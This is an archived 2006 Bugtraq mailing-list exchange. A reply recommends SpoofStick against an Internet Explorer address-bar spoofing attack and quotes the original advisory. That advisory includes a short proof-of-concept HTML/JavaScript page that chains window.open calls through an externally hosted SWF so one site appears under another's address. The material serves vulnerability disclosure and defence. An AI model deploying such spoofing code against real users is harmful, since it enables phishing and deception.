Hi:
=20
I just wanted to let you know that attacks as such can easily be =
thwarted with freeware tools such as SpoofStick ( =
http://www.spoofstick.com/ ) and no I am not the spokesperson for them =

=20
In the case of your attack, assuming the swf hasn't been cached (the =
second try didn't work since it was) while the URL shows what you tried =
for it to show, the spoofstick shows the real URL.
=20
Sincerely,
=20
Aras "Russ" Memisyazici
=20
Outreach Technology Services
Virginia Tech
Blacksburg, VA 24060

________________________________

From: hainamluke@yahoo.com [mailto:hainamluke@yahoo.com]
Sent: Tue 4/4/2006 10:27 AM
To: bugtraq@securityfocus.com
Subject: Another way to spoof Internet Explorer Address Bar



DESCRIPTION
Attacker alse can spoof the address bar with another HTML page instead =
of the shockwave-flash file by continuing make to window.location
If you use a very large SWF file, the last page will be display as long =
as SWF loading time with the original address bar.
This exploit code will try to display www.microsoft.com with address bar =
of www.google.com

########### LukesTest2.htm ###########
<a href=3D"javascript:spoof()">Perform the second Test</a><br>
<script>
function makewin(url) {
win =3D window.open (url, "new");
}
function spoof() {
makewin('http://www.google.com/');
=
setTimeout("makewin('http://one.fsphost.com/dangquang/musicflash1/bupbebi=
etyeu.swf')",2000);
setTimeout("makewin('http://www.microsoft.com/')",4000); =
=20
} =20
</script>
##################################

The SWF will be displayed when it is loaded fully as well as my first =
sample code.

SOLUTION:
Disable Shockwave-Flash ActiveX Control